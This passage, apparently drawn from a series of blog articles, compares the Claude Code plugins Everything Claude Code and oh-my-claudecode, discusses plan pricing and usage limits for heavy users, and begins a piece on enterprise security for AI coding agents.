In the usage phase, however, an active role is required from the user. The ECC README states, in effect, that “this repo is raw code, and everything is explained in the guide.”¹ It presupposes that you read the docs, understand the concepts, and then use it. For example, applying an ECC rule (.md) file may require manually copying it into the ~/.claude/rules/ folder or merging it into your configuration.¹ Which of the dozens of agents and skills bundled with ECC to invoke, and when, is ultimately up to the user as well. Once you are used to it, you gain the flexibility to pick exactly the features you need. Early on, the sheer size of the feature list can be a learning burden. In short: installation is easy. In exchange, there is a learning curve. Skilled use requires investing time to understand the structure.

Oh My ClaudeCode (OMC)

OMC’s developer designed its usability so that “even a beginner instantly becomes a powerful Claude Code user.”⁶ Installation is by adding it as a plugin, just like ECC. Instead of a repository address, you can also point directly at the GitHub URL.⁴ An NPM installation option is available too.⁴ After the basic install, running the omc-setup command once completes the internal configuration automatically.⁴ From then on you just give natural language instructions without changing any settings.

For instance, you can say something like “build this project in ultrapilot mode.” Even if you only say “build the project,” it applies parallel mode on its own depending on the content. Being able to drive it through ordinary conversation, without memorizing slash commands, lowers the threshold.² A HUD (status line) also shows the number of currently running agents and the active execution mode in real time.² That helps you see progress visually even without knowing the internal process.

That said, OMC does not solve every situation either. When it misbehaves, identifying the cause can be hard. There has been feedback that when the configuration is not right, or an incompatibility arises from a Claude Code version change, it is difficult to work out where the problem originated.⁵ There was also criticism that the README at one point leaned too heavily on marketing copy and lacked concrete explanation.⁵ Recent updates have improved things with better documentation and setup scripts. Some assess that stability improved once it reached the v3.x line.

Conclusion

On ease of installation there is little difference: both ECC and OMC can be attached as plugins. On ease of use, OMC is friendlier. The key point is that it can be operated in natural language without learning commands. ECC, on the other hand, is powerful. In exchange, the user has to take the initiative in choosing features. It suits users willing to accept the learning curve. In short: OMC is the “fast guide.” ECC is the “deep toolbox.”

Tech Stack Comparison and Analysis

Both projects are extension plugins that run on top of the Anthropic Claude Code CLI environment. Internally they use the API hooks and plugin system Claude Code provides. Their implementations differ.

Everything Claude Code (ECC)

ECC is built around JavaScript and configuration files rather than TypeScript. By GitHub’s statistics it is roughly 70% JavaScript, mixed with Markdown documents (skill and agent definitions, and so on), some Python, and Shell.¹ This reflects ECC’s character as something that mainly provides command prompts and configuration.

In the repository, agent behavior guidelines are written in .md files. Hooks are defined in JSON such as hooks.json.¹ In v1.1.0 all hooks and scripts were rewritten in Node.js (JavaScript).¹ The aim was identical behavior on Windows, macOS, and Linux. Early versions contained some shell scripts. These have now been replaced with cross-platform Node scripts implemented as *.js files under the scripts/ folder.¹ The Python code (about 19%) is presumably examples or integration scripts for specific tools. The overall execution logic is Node.js-based.

ECC also provides package manager detection and configuration. It automatically recognizes the project’s package management tool (npm, pnpm, yarn, bun).¹ It lets you specify one via the CLAUDE_PACKAGE_MANAGER environment variable or a configuration file.¹ These supplementary scripts are written in Node.js and ship with the ECC installation.

Distribution is not through NPM. It is through GitHub integration. You install it by adding the GitHub repository as a Claude Code marketplace source.¹ Upgrades happen via git pull or /plugin update. Major changes are announced through release tags (currently the 1.1.0 release).¹

Oh My ClaudeCode (OMC)

OMC uses TypeScript as its primary language. It is a project that implements complex logic in code.² A composition of roughly 82% TypeScript and 10% JavaScript means it contains a lot of application-level code for handling functionality dynamically.² Managing parallel agents requires thread/process pool management, task distribution algorithms, and state synchronization. Those parts are written in TypeScript.

OMC is a Claude Code plugin. At the same time it is also distributed as an NPM package (oh-my-claude-sisyphus).⁴ By npm’s statistics it sees over 9,000 downloads a month.⁴ This may be an attempt to run it standalone without integrating with the Claude Code CLI, or to use it in other environments. Normally, though, using it as a plugin inside the Claude Code environment is the default.

The distinctive parts of OMC’s architecture are its database and parallel processing mechanisms. As of v3.6.0 it introduced SQLite-based Swarm coordination.² It uses a lightweight DB so that multiple parallel agents can share and coordinate task state. For example, when five agents run in Swarm mode, task completion status and shared resource information are recorded in the SQLite DB so they can collaborate without race conditions. These elements (concurrency, state management) are a tech stack characteristic unique to OMC that ECC does not have. OMC also includes some Python and Shell.² These are presumably code for running local tests or invoking system commands. One could also speculate that there are Python helpers for data processing.

Conclusion

On the tech stack, you can summarize it as ECC being configuration-oriented and OMC being code-oriented. ECC extends Claude Code’s capabilities through a combination of configuration files and scripts. OMC feels more like layering a separate program logic on top of Claude Code. OMC’s internals are complex. In exchange, it performs sophisticated control. ECC extends Claude Code with a comparatively simple structure while preserving its inherent stability. If you want to customize things yourself, ECC’s structure may be easier to understand. If you want a polished concurrent execution engine, you are better off leveraging what OMC’s TypeScript-based architecture provides.

Community and Update Frequency Comparison

Everything Claude Code (ECC)

ECC drew an explosive response after going public around December 2025. There was the buzz of being the winner of an official hackathon hosted by Anthropic and Forum Ventures.³ A thread of usage impressions the developer posted on social media went viral. It picked up tens of thousands of stars within days of release. GitHub stars currently stand at over 30,000.¹ Forks number in the thousands.¹ It is regarded as the most popular project among Claude Code-related work.

On the community side, Medium articles, blogs, and Reddit discussions are active. Many users install ECC and try it out. Issue reports and improvement proposals (PRs) come in as well (6+ GitHub issues, 8+ PRs in progress).¹ Developer Affaan Mustafa took the feedback and shipped the 1.1.0 update.¹ That version incorporated cross-platform fixes and bug fixes.¹

The community is in an early stage. Still, as the star count shows, the interested audience is broad. Claude Code users increasingly share their experiences and produce guides, so information is assessed as easy to come by. Medium articles explaining how it works and how to use it, and Reddit Q&A, exist as well.³ The Discussions tab is open too.¹ Users answer each other’s questions there. The project’s pace is not especially fast. There have been two releases so far (1.0 and 1.1).¹ Still, the core developer keeps communicating and signaling improvements. Expectations for future updates are high.

Oh My ClaudeCode (OMC)

OMC appeared earlier than ECC. It is a project that has developed steadily. GitHub stars are around 2,800.² That is fewer than ECC. But that only reflects a difference in initial viral effect; the actual user base is substantial. Its predecessor, Oh-My-OpenCode, was a validated idea that gained popularity on the OpenAI OpenCode CLI side.⁷ As it was forked and extended for Claude Code, feature additions followed.

Per the GitHub release history, v3.6.0 (dated January 26, 2026) is the latest.² Before that, there were dozens of minor and major releases in the 3.x line.² The release notes show new agents, modes, and optimizations being added frequently.² That means the OMC team (lead developer Yeachan-Heo and contributors) has kept development running actively.

The community is not as large as ECC’s. Instead, there is a specialized user base. Reviews and tips are shared in forums such as Reddit’s ClaudeCode community. Related discussions appear on Hacker News too.⁵ A few users have written up their experience on Medium and assessed its usefulness.⁶ OMC’s README also credits ECC, oh-my-opencode, and claude-hud as projects that inspired it.² It is assessed as cooperative toward the open source ecosystem. For example, it mentions mutual reinforcement, such as OMC adopting some of ECC’s ideas (context management and the like).

Conclusion

On the community side, ECC commands more attention and support. Materials and support are plentiful. But the project is very new. Stable long-term support remains to be seen. OMC, by contrast, is relatively quiet. In exchange, it has secured continuous improvement and a loyal user base. On maturity it is assessed as stable. Update frequency is far higher for OMC. You get access to new features sooner. ECC shows a conservative release tendency, shipping selective major updates. If you want the newest features and fast improvement when adopting, OMC’s development pace can be an advantage. If you want to apply a validated setup carefully, you are better off drawing on ECC’s community guides and the collective wisdom that comes with its relative popularity.

Performance and Execution Speed Comparison

Everything Claude Code (ECC)

ECC fundamentally pursues optimization within the inherent performance limits of Claude Code.¹ It preserves the Claude flow of handling one request and response at a time. In exchange, its strategy is to raise efficiency through context management and by minimizing repeated work.

The Token Optimization and Performance rules mentioned in the guide lay out principles for model selection and prompt slimming in order to reduce unnecessary token consumption.¹ Agent separation is designed so that the main context does not become needlessly bloated.¹ For example, test generation during coding is delegated to a separate agent via the /e2e command to keep the main flow lean.¹

ECC also provides a verification loop (verify).¹ It runs tests at intervals while code is being written. It takes a checkpoint approach where failures are then fixed. Catching errors up front prevents rework. Keeping the session going long reduces the need to start the conversation over from scratch. This is how it aims to shorten total time.

That said, ECC does not step outside the frame of sequential execution on a single instance. Its absolute speed matches Claude Code’s response speed. On complex projects a bottleneck is inevitable. Building a large application’s code end to end in one session can take tens of minutes or more. ECC cannot fundamentally accelerate that.

Instead, ECC’s philosophy is closer to “have it written properly from the start so you iterate fewer times.” It cites the case of Affaan completing a complex web app in eight hours at the hackathon with the ECC setup.³ There was no parallelization. Instead, configuration optimization kept Claude from floundering and let it work efficiently. From a time perspective, ECC’s individual response times are the same. In exchange, it saves total elapsed time by reducing the number of retries and fixes. The benefit shows up more on large projects requiring long sessions than on small ones.

Oh My ClaudeCode (OMC)

OMC’s performance strategy comes down to parallelization and optimal resource utilization.² It runs multiple agents at once. Server and client modules can be developed simultaneously. A large problem can also be split up and solved in parallel. The aim is to cut wall-clock time.

Turning on Ultrapilot mode runs up to five Claude Code instances in parallel.⁴ You can expect a 3–5x speedup.⁴ Swarm mode automatically splits the work into units.⁴ N agents then cooperate. For example, if you need ten features implemented, each agent takes one and works simultaneously, aiming for a linear speedup. Pipeline mode is sequential. In exchange, specialized agents rotate in stage by stage, raising the efficiency of their expertise. Ecomode keeps speed to a reasonable degree while working with a smaller context to save cost (tokens).²

OMC’s parallelization translates into major time savings on complex projects. According to a Medium review, the assessment is that “it parallelizes even complex work on its own, efficiently.”⁶ Users also report speed improvements across the various modes. Notably, attaching the ralph keyword when running makes it keep trying without giving up until the work is completely finished.² That adds the convenience of reaching full completion without the developer having to watch over it.

That said, OMC’s performance advantage comes with preconditions. First, you have to be able to draw on the rate limit allowance of the Claude API or Claude Pro.² Both Claude Pro and the API allow concurrent requests on a rate limit basis.⁸ However, RPM (requests per minute) and token limits differ by API tier (Tier 1–4). At lower tiers, running many parallel agents hits the rate limit quickly, which can limit the benefit of parallelization.

Second, parallelization does not always guarantee a linear performance gain. For instance, if five parallel agents each exchange a lot of conversation, total token consumption can rise sharply.⁵ Response latency or increased cost can result. If there are interdependencies in how the work is split up, parallel efficiency drops. For these reasons, there is also the assessment that “on small projects OMC may not be a big advantage.”

Conclusion

On execution speed, it is fair to say OMC has a clear edge. In the right circumstances, using the parallel modes can dramatically shorten total working time compared with ECC (and with plain Claude Code). The effect, though, depends on the nature of the task and the conditions of your Claude usage. ECC focuses on maintaining quality and reducing errors rather than on speed. The two are different enough in character that direct comparison is awkward. In short: if you can “buy time with money,” OMC has the advantage. If you want “slower but right the first time,” ECC’s approach holds up. Depending on the situation, combining the two philosophies is also worth considering.

Overall Conclusion and Recommendation

Both projects are tools that strengthen Claude Code. What they aim at differs.

Everything Claude Code (ECC) hands developers a rich set of tools and guidelines. Its approach is to improve the output by making you follow optimal development habits and patterns. Oh My ClaudeCode (OMC), by contrast, automatically orchestrates multiple agents without any complicated setup. It focuses on getting results fast.

Strengths in Brief

• ECC is a functionally comprehensive development assistance set. It is assessed as strong on long-term code quality and session management.¹
• OMC has its strengths in speed and convenience. It provides an automated code generation pipeline that minimizes user intervention.²

Weaknesses in Brief

• ECC requires learning and manual operation. It depends on proficiency. With no parallel processing, large-scale work can run into time issues.
• OMC has the side effects of automation. There are concerns about increased token cost and some instability.⁵ On small projects it can be over-engineering.

Considerations for Real-World Adoption

If you want to establish a quality-centric process (TDD, code review, security compliance, and so on), the ECC framework helps. You can use it in the spirit of establishing project standards and training Claude. That is advantageous for getting consistent performance over the long run. Conversely, on rapid prototyping or time-critical projects, pulling results out in a short window with OMC’s parallel agents can be effective. Developers unfamiliar with Claude Code can also raise productivity with OMC on a low learning curve.²⁶

Ultimately the two projects are not mutually exclusive. You can use them together as needed. For example, you could establish baseline quality with ECC’s rules and hooks. Running OMC’s Ultrapilot mode in parallel alongside that seems theoretically possible as well. OMC is evolving with reference to ECC.² There is a real chance their strengths converge further down the line.

In conclusion, if you want to “run Claude Code on a solid foundation,” Everything Claude Code is worth adopting first. If you want to “break through Claude Code’s limits without thinking about it,” Oh My ClaudeCode is worth adopting first. Understand and apply the strengths of each and you can substantially raise how much you get out of Claude Code.

This piece was written as of January 2026. Pricing, usage limits, context windows, and plan structures change extremely fast, so I recommend reading it for the “principles and structure” rather than the specifics.

Vibe coding tools are entering the phase where “whatever you use, it more or less works.” So for enterprise users and heavy users, the question naturally shifts. It is no longer “which tool is the smartest,” but which tool you can use every day in production without hitting a bottleneck, at a cost that still makes sense.

To give my conclusion up front: as of January 2026, when I weigh performance, security, price, and stability together under the assumption of production use, Claude Code (particularly the higher-tier and team plans) is the most convincing default. That conclusion rests less on a comparison of raw model performance or tool features than on a structural difference in “production-level cost-effectiveness” — something you feel more and more clearly as your vibe coding proficiency grows.

TL;DR

• The cost-effectiveness that matters to enterprises and heavy users is not the monthly fee but the throughput that keeps you unblocked at peak workload, plus operability.
• On its higher-tier and team plans, Claude Code strikes a good balance across performance, security, price, and stability, making it worth considering as the default.
• Choosing a tool means looking beyond token pricing to how limits are imposed, management features, auditability, and where your team’s real workflow bottlenecks are.

The real culprit behind poor value: not tokens, but “how limits are imposed”

Today’s AI coding tools do not show you token usage limits directly. Instead they abstract usage into things like “messages per 5 hours,” “tasks per day,” or a “monthly credit pool.” That is easier on users, but it makes comparison much harder. At the same $200 a month, one person gets blocked inside a “5-hour window,” another burns through a “credit pool,” and a third runs into a “task count” limit.

What matters to heavy users and enterprise users is not average cost but scalability at peak workload. There are days when you simply have to burn a lot of tokens — the end of a sprint, an incident response, a large-scale refactor — and when the tool blocks you on one of those days, the work ends up falling back on a human. From that moment on, cost-effectiveness stops being a number and becomes the cost of a team bottleneck.

What “production cost-effectiveness” means to enterprises and heavy users

In a company, “cost-effectiveness” is not simply dollars per month. It looks roughly like this.

First, throughput. Does it let you finish more work in the same amount of time, and does it keep you from hitting a limit on the days that matter?

Second, operability. Without management features like SSO, SCIM, audit logs, and permissions, the security or compliance team will eventually block it. The cost of “getting approval” exceeds the cost of the tool itself.

Third, predictability. The further a heavy user gets up the learning curve, the larger the units of work they delegate (longer context), the more often they run things repeatedly (more calls), and the more documents they produce (more tokens). As maturity rises, the cost structure has to be one that “doesn’t kill the team.”

Why tools from model providers gain an edge: nonlinear usage and optimization

Here is where an important difference emerges. Vibe coding tools built by the model provider themselves have an easier time designing “usage per plan upgrade” nonlinearly. In other words, going from $100 to $200 does not have to mean “exactly 2x” — depending on the nature of the work, the plan can open up considerably more headroom than that.

For example (the numbers here are illustrative), there are cases where the $200/month Claude Code Max plan opens up roughly 5x the usage ceiling of the $100 plan. By contrast, usage-based model consumption like Amazon Kiro’s is closer to a structure where $200 “buys” exactly twice the tokens of $100. This difference shows up dramatically once your vibe coding maturity rises and you start burning more tokens. The more an organization uses, the more the mere existence of that nonlinear range becomes the value proposition.

The other factor is the structure of token waste. Tools built directly by a model provider can design optimizations like prompt caching, context compaction, and internal routing at the product level. Third-party tools, on the other hand, can end up with longer system prompts or more calls because of proxy layers and extra orchestration, so producing “the same result” costs more total tokens. For a heavy user, that difference is felt “every day,” not at the end of the month.

(For reference) How limits differ across plans around the $200 mark

The table below is a summary meant to give you a feel not for “price” but for “where you get blocked” at peak workload. The figures reflect the point at which I researched them, and policies change often, so please verify against the latest information.

The table carries one message above all. Even at the same “$200,” the way you get limited is completely different. So for a heavy user, cost-effectiveness is determined less by “token pricing” than by “where my workflow gets blocked first.”

In enterprise plans, real value comes from “control,” not “usage”

Look at enterprise plans and you will find that even when the monthly cost looks similar, what actually decides adoption is often management features rather than usage. You need SSO, SCIM, and audit logs to run accounts and permissions in line with organizational policy, and to trace “which input produced which result” when a security incident or compliance issue comes up. In heavily regulated industries such as healthcare and finance in particular, these features effectively determine whether adoption is possible at all.

So for enterprise users, cost-effectiveness ends up meaning not “a cheap tool” but “a tool you can get approved and actually run.” From that angle, model-provider and cloud-native tools have the advantage because they often complete the management, audit, and compliance package before they get to cost and usage.

For third-party tools, value has to account for “margin plus overhead”

None of this means third-party IDEs are bad. Switching among multiple models in a single screen, or running a team-wide credit pool, is genuinely powerful in practice. But for a heavy user, “hidden costs” appear. A credit pool model is flexible, for instance, yet internally it may add a margin on top of API pricing (roughly 20% based on my research), and the more agent orchestration you turn on, the more calls you make and the faster your credits melt away than you expected.

Conversely, a structure that meters credits very precisely with clear per-unit overage pricing (credit-based overage charges, for example) helps with budget management. That said, such a structure is usually close to “linear,” which makes it a different animal from the “nonlinear usage (headroom)” described earlier. The choice comes down to what a given company values more.

Conclusion: the default for 2026 is Claude Code (for enterprises and heavy users)

From an enterprise or heavy-user standpoint, “production-level cost-effectiveness” ultimately has to satisfy all three of (1) generous headroom, (2) real operational features, and (3) a cost structure that gets more favorable as maturity rises. On that view, Claude Code is the most convincing default for 2026. In particular, if the higher-tier or team/enterprise plans include a “range where usage grows nonlinearly relative to the plan upgrade,” the cost advantage only gets larger as vibe coding maturity increases.

That said, this conclusion is not “always, unconditionally.” If you do a lot of analysis work that has to swallow an entire monorepo in one go, an ecosystem that aggressively offers 1M context may serve you better; and if AWS-native integration and budget predictability are your top priorities, a credit-based tool may be the better fit. Even so, for most organizations the safest first answer remains: “make the tools the model providers offer directly — Claude Code, Gemini/Antigravity, Codex — your default, and design your operations around them.”

“Don’t learn Claude Code. Just use OMC.” – oh-my-claudecode README¹

oh-my-claudecode (OMC) is a plugin that layers “multi-agent orchestration” on top of Claude Code.¹ Its goal is to automatically activate the behaviors you need — planning, parallelization, persistent execution, research, design sensibility — using your natural-language request as the cue, so you never have to learn concepts like subagents, skills, and hooks one at a time.

This piece is a technical report that pulls together, in a single readable pass, what problem OMC is trying to solve, why this approach makes sense in Claude Code specifically, and which workflows it is especially strong in.

oh-my-claudecode

TL;DR

• OMC is a plugin that bundles Claude Code’s subagents, skills, and hooks so that a natural-language request alone automatically assembles the working mode you need.
• Its core value is cutting the burden of learning commands and letting workflows like planning, parallelization, research, and design sensibility activate naturally inside Claude Code.
• It boosts productivity above all when complex development work has to be split by role and driven all the way to completion.

1. Project Overview

The one-line summary OMC leads with is “Multi-agent orchestration for Claude Code. Zero learning curve.”¹ There are two essentials.

1. Delegation-first: say “this is a complex task” and it splits the work into specialized roles — design, research, execution, QA — and runs them in parallel.
2. Automatic mode switching: it detects phrasing like “plan this” or “don’t stop until done” and turns on a planning interview or a persistent-execution (completion-guaranteeing) disposition.

The “Under the hood” diagram published in the repository shows that OMC is not a mere collection of prompts but a package that ties Claude Code’s extension points (agents/skills/hooks/statusline) into real working workflows.¹

2. Installation and Usage Flow (Genuinely 30 Seconds)

Per the README, the usage flow is simple.¹

/plugin marketplace add https://github.com/Yeachan-Heo/oh-my-claudecode
/plugin install oh-my-claudecode
/oh-my-claudecode:omc-setup

After installation, instead of “memorizing commands,” you just assign work the way you normally would. OMC reads the hints in your sentence and internally composes the right skills and subagents.¹

3. Why ‘Skill Composition’ Is the Core Idea

What makes OMC interesting is that it takes Claude Code’s constraints head-on. Claude Code does not swap out the conversation’s “master” for a different agent; it changes behavior by injecting skills into a fixed master.²

OMC organizes this structure into “layers.”²

[Execution Skill] + [0-N Enhancement Skills] + [Optional Guarantee]

For example, if you need “UI work + edits across several files + a commit at the end,” it stacks enhancement layers such as frontend-ui-ux and git-master on top of the execution (base) layer.² In other words, it is not about ‘switching’ modes but about stacking behaviors in layers, so context is never broken.

4. ‘Magic Keywords’ for Power Users

Most of it is automatic, but you can force behavior with keywords when you need to.¹

And when you want it to stop, saying something like “stop/cancel/abort” halts it in a context-appropriate way.¹

5. What the OMC ‘Package’ Includes

Per the official documentation, OMC delivers the following all at once.¹³

• A set of specialized agents (27): role groups such as architect, researcher, designer, writer, critic, planner, and qa-tester (including tier variants)¹
• A set of skills (28): orchestrate, ultrawork, ralph, planner, git-master, frontend-ui-ux, learner, and more¹
• HUD Statusline: a summary of orchestration progress displayed in the Claude Code status bar¹
• Memory/note system: a 3-tier memory idea (priority / working memory / manual notes) aimed at preserving key information even after context compaction³

The concrete internals and the routing philosophy are explained in docs/ARCHITECTURE.md from the perspective of “how to make skill-based routing work like an operating system.”²

6. When It Is Especially Useful, and What the Trade-offs Are

OMC shines particularly in the following situations.

1. Multi-file, multi-role work: feature development where design, implementation, and verification all have to run at once
2. Long sessions where context keeps collapsing: the pattern of leaving behind “things not to forget” in notes and memory
3. When you need a plan but don’t want to spend the time: a flow where the single word “plan” forces a planning interview

On the other hand, there are clear costs.

1. More tokens, more time, more money: parallelization and enhancement skills inherently induce more calls and more thinking.
2. Opacity of automation: it may not be immediately obvious “why it just did that.”
3. Plugin operational risk: the more autonomous the execution, the more sensitive you become to permissions and guardrails (halting commands, limiting scope).

7. Closing Thoughts

oh-my-claudecode goes beyond “tips for using Claude Code well” and provides a set of defaults for using Claude Code like a team.¹ By leaning directly into skill composition — the structure of Claude Code itself — the user gives instructions in natural language while the system assembles planning, parallelization, and completion guarantees on its own. If you see Claude Code as an ‘operating environment’ rather than a ’tool’, OMC makes a fairly persuasive starting point.

References

• Yeachan Heo, oh-my-claudecode (GitHub)
• oh-my-claudecode, ARCHITECTURE
• oh-my-claudecode, Full Reference Documentation
• Anthropic, Claude Code Docs

“If you want to bring AI onto the team, you have to design the process before the tools.” – Affaan Mustafa, winner of the Anthropic x Forum Ventures hackathon

Everything Claude Code is a collection of configurations that turns the Claude Code CLI into a virtual development team environment. A hackathon winner spent ten months refining these recipes while building an actual startup product, then gathered them all into one public repository; apply them and you can summon Claude as a “senior engineer + QA + architect.”¹ The repository is open for anyone to inspect on GitHub.

Everything Claude Code

This article is a technical report that lays out the repository structure, how it uses the Claude API, its technology stack, and what set it apart on the way to winning the hackathon. It closes with the current limitations and ideas for improvement.

TL;DR

• Everything Claude Code is a set of configurations for running the Claude Code CLI like a virtual development team with separated roles.
• It combines agents, skills, slash commands, rules, and hooks to turn planning, TDD, review, and documentation into a repeatable flow.
• The point is not to bolt on as many tools as possible, but to enable only the context and guardrails you actually need so that Claude can work reliably.

1. Project Overview

Everything Claude Code is designed around a clear philosophy: “run Claude as a multi-role agent team.”¹ The main session plays project manager, and the detailed work is carried out in parallel by a variety of subagents. The author also shared a real-world case study: with this setup, he built zenith.chat entirely with Claude Code and won the Anthropic x Forum Ventures hackathon in September 2025.²

The core value proposition has three parts.

1. Role separation: separating prompts, tool permissions, and tone by role sharpens the LLM’s focus.
2. Process standardization: slash commands like /plan, /tdd, and /code-review automate development routines.
3. Quality guardrails: rules, skills, and hooks combine to enforce security, testing, and style.

Building on that philosophy, the repository as a whole forms a complete development pipeline in which “the AI learns the project history and runs the tools itself.”

2. Repository Structure and Architecture

The repository manages the context Claude Code needs by splitting it into role-specific folders. In practice, users copy the files they need into their own ~/.claude or into a .claude directory at the project root to activate them.

2.1 Agents

agents/ is a collection of role-specialized prompts. Representative examples include planner, architect, code-reviewer, security-reviewer, tdd-guide, build-error-resolver, e2e-runner, refactor-cleaner, and doc-updater.² Each file uses YAML frontmatter to define the model (opus), the allowed tools (Read, Grep, Bash, and so on), and a description, while the body holds the role-specific instructions. The central design perspective is to keep tools to a minimum in order to increase focus and prevent role conflicts between agents.

2.2 Skills

skills/ is the team’s shared operating manual. It includes coding-standards.md, backend-patterns.md, frontend-patterns.md, security-review/, tdd-workflow/, and more.² tdd-workflow in particular spells out the RED→GREEN→REFACTOR loop and the 80% coverage requirement in detail, so that Claude automatically reminds itself of test-driven development. Skills can be operated in two tiers: organization-wide (~/.claude/skills) and project-specific (.claude/skills).

2.3 Commands

commands/ holds slash command prompts such as /plan, /tdd, /e2e, /code-review, /build-fix, /refactor-clean, /test-coverage, and /update-docs.² The user simply types a command in the chat, and the prompt matching that procedure is loaded along with the skills and agents it needs. That makes it possible to run a whole development flow — “plan the feature → run TDD → review the code → sync the docs” — at the press of a button.

2.4 Rules

rules/ contains the guardrails that always apply. It is modularized into files such as security.md, coding-style.md, testing.md, git-workflow.md, agents.md, performance.md, patterns.md, and hooks.md, and Claude Code automatically injects every rule in this folder into the system prompt. For example, testing.md states a “no PRs below 80% coverage” rule so the model will not allow tests to be skipped.

2.5 Hooks

hooks/hooks.json defines automation scripts to run at Pre/Post ToolUse points. Examples include a hook that warns when a console.log is left behind after editing a TypeScript file, and one that runs a formatter before the session ends.² A hook matcher specifies the tool name and file pattern, and the hook is configured to run a Bash command or an additional command. It acts as a safety net that automatically watches for recurring mistakes such as forgotten debug code or missing tests.

2.6 MCP Configuration

mcp-configs/ provides configuration templates for a number of MCP servers, including GitHub, Supabase, Vercel, Railway, and ClickHouse.¹ Users paste the entries they need into ~/.claude/settings.json and fill in the API keys, after which Claude can call those service APIs directly. The README also offers a guideline: “no more than 10 active MCPs per project, and no more than 80 tools total.” Enabling too many MCPs eats into the context window and degrades model performance.

2.7 Plugins & Examples

plugins/ is a set of documents explaining the Claude Skills Marketplace and how to install external plugins. The examples/ folder includes project-level (CLAUDE.md) and user-level (user-CLAUDE.md) configuration samples along with a custom statusline.json, so new users can copy them verbatim and get started. The result is that the repository doubles as both a reference implementation and a template set.

3. Principles for Using the Claude API

The AI usage principles Everything Claude Code emphasizes boil down to these four.

1. Multi-agent parallelization
   The main session sets the overall direction while subagents take delegated responsibility for the details. Because each agent handles only its own domain context, response quality and speed stay consistent.¹

2. TDD and test-first
   The /tdd command and the tdd-workflow skill enforce the RED→GREEN→REFACTOR cycle, and the testing.md rule requires at least 80% coverage. Whenever Claude receives a feature request, it always raises the need to add tests.

3. Security and quality guardrails
   security.md codifies rules against hardcoded secrets and requirements for input validation, error handling, and vulnerable-library checks. The /code-review command and the code-reviewer agent make AI review code that AI wrote, forming a self-refining loop.

4. Context budget management
   The more MCPs, rules, skills, and tools you enable, the more bloated the system prompt becomes, so the README repeatedly stresses “enable only the configuration you need.”² Keeping a minimal per-project setup to preserve focus is what determines how efficiently you can use Claude.

Because of these principles, Claude Code functions not as a simple code completion tool but as a prompt engineering + workflow engine.

4. Technology Stack and Toolchain

Everything Claude Code is itself a Markdown- and JSON-based configuration collection, but the following stack sits behind it.

• Anthropic Claude Code CLI: the runtime that assembles the system prompt and brokers calls between the LLM and the tools. It supports the latest Opus/Sonnet models.
• A bundle of MCP servers: it ships MCP templates for major SaaS products such as GitHub, Supabase, Vercel, Railway, and ClickHouse so Claude can call those APIs directly.¹
• Testing and quality tools: the /e2e command is designed around running Playwright, and testing.md internalizes the JS testing stack including Jest and Vitest. /build-fix is written to deal with Node/Vite build errors.
• Frontend/backend patterns: frontend-patterns.md contains React/Next.js guidance, and backend-patterns.md collects API, database, and caching best practices. There are also skills for specific data technologies, such as clickhouse-io.md.

In other words, while the repository presents itself as “language- and framework-neutral,” its first target is TypeScript-based full-stack web products. Using it for another language or domain means writing additional skills.

5. What Set It Apart on the Way to Winning the Hackathon

The competitive edge Everything Claude Code demonstrated at the hackathon comes down to five things.

1. Role parallelization: design, implementation, and testing were handled simultaneously by different agents, reducing development bottlenecks.
2. A standardized development routine: the /plan → /tdd → /code-review → /update-docs sequence was automated, so per-feature cycles were short and consistent.
3. Full-stack automation: thanks to MCP, Claude handled GitHub issues, Supabase queries, Vercel deployments, and more on its own, leaving the human free to focus purely on product logic.³
4. Hook-based safeguards: hooks such as console.log removal and missing-test warnings caught mistakes early and kept quality up.
5. Battle-tested know-how: because the author packed in prompts and rules he had validated repeatedly in real work, it was not “one person’s one-time insight” but a polished framework.

That combination produced an “AI-led team” that maintains high quality even in a short window, and that is what worked as the differentiator at the hackathon.

6. Technical Limitations and Directions for Improvement

However polished it is, real challenges remain.

1. Context window limits
   Turning on too many MCPs, rules, and skills shrinks Claude’s usable token budget and causes context loss in long sessions. Dynamic context loading, or the ability to swap configurations at the moment they are needed, is a future improvement point.

2. Model cost and availability
   Opus models are slow and expensive. The burden grows with usage, so an automatic fallback strategy to Sonnet or another model is needed. An abstraction layer for plugging in non-Anthropic models is also worth considering.

3. Onboarding difficulty
   Because you have to understand the concepts of agents, skills, and hooks all at once, the initial learning curve is steep. An interactive setup wizard or GUI-based configuration management would lower the barrier to adoption.

4. Domain bias
   The current skills are optimized for JS/TS web services. For it to become a general-purpose framework, the community has to keep adding skills and commands for other domains such as embedded, data science, and mobile.

5. Execution safety
   The risk that an agent granted Bash permissions runs the wrong command still exists. That is why safeguards such as two-step command approval, a sandbox mode, and a /dry-run command will be needed going forward.

6. Performance optimization
   Having the AI explain every action as it executes it can be slow. Without optimizations such as response caching or sharing results between agents, the experience drifts away from “coding fast.”

7. Closing Thoughts

Everything Claude Code is not a mere collection of configuration files; it is closer to an operating system for how you work with AI. By combining role-scoped prompts, test-centric rules, hook-based automation, and MCP integration, it offers a concrete answer to the question “how do you use AI as a teammate?” At the same time, the challenges around context management, onboarding, and domain expansion are equally clear. The moment you port this repository into your own project and layer your organization’s processes and domain knowledge on top, AI stops being an assistive tool and becomes a sustainable development partner.

References

• Affaan Mustafa, Everything Claude Code Repository (GitHub)
• Tilnote, Everything Claude Code Summary
• JP Caparas, The Claude Code setup that won a hackathon
• MCP Servers Catalog
• Tatsuya Takasaka, Zenn: A walkthrough of the Claude Code setup that won the Anthropic hackathon

These days, saying “I code with AI” is no longer special. It is already the new normal. Coding works — that is now a given — and today’s AI tools do far more than that in a business.

Even so, many companies hesitate at the adoption stage. The reason is always the same: security. Today I want to sort through the security concerns surrounding AI coding agents from an enterprise perspective — in particular Claude Code, the most widely chosen tool for production-level vibe coding — separating what is true from what is false.

TL;DR

• Security for AI coding tools should be made concrete in terms of contract terms, data retention, execution environment, and permission controls, not left as vague anxiety.
• Agentic tools like Claude Code have a broader attack surface than autocomplete plugins, which makes isolation and update management essential.
• Enterprises need to look beyond product settings and build an operating model that covers sandboxing, network controls, DLP, and audit logs.

The Truth About Training Data Leakage

“Put your code into AI and it gets trained on and leaks out” is half right and half wrong. In an enterprise context, what matters is not the vague word ‘AI’ but the specific contract terms and the distinction between products.

Anthropic’s enterprise products have a clear principle. By default, commercial input and output data is not used to train models. The Claude Code documentation also states that alongside a default 30-day data retention policy, there is a Zero Data Retention (ZDR) option that stores no conversation history on the server when a properly configured API key is used.

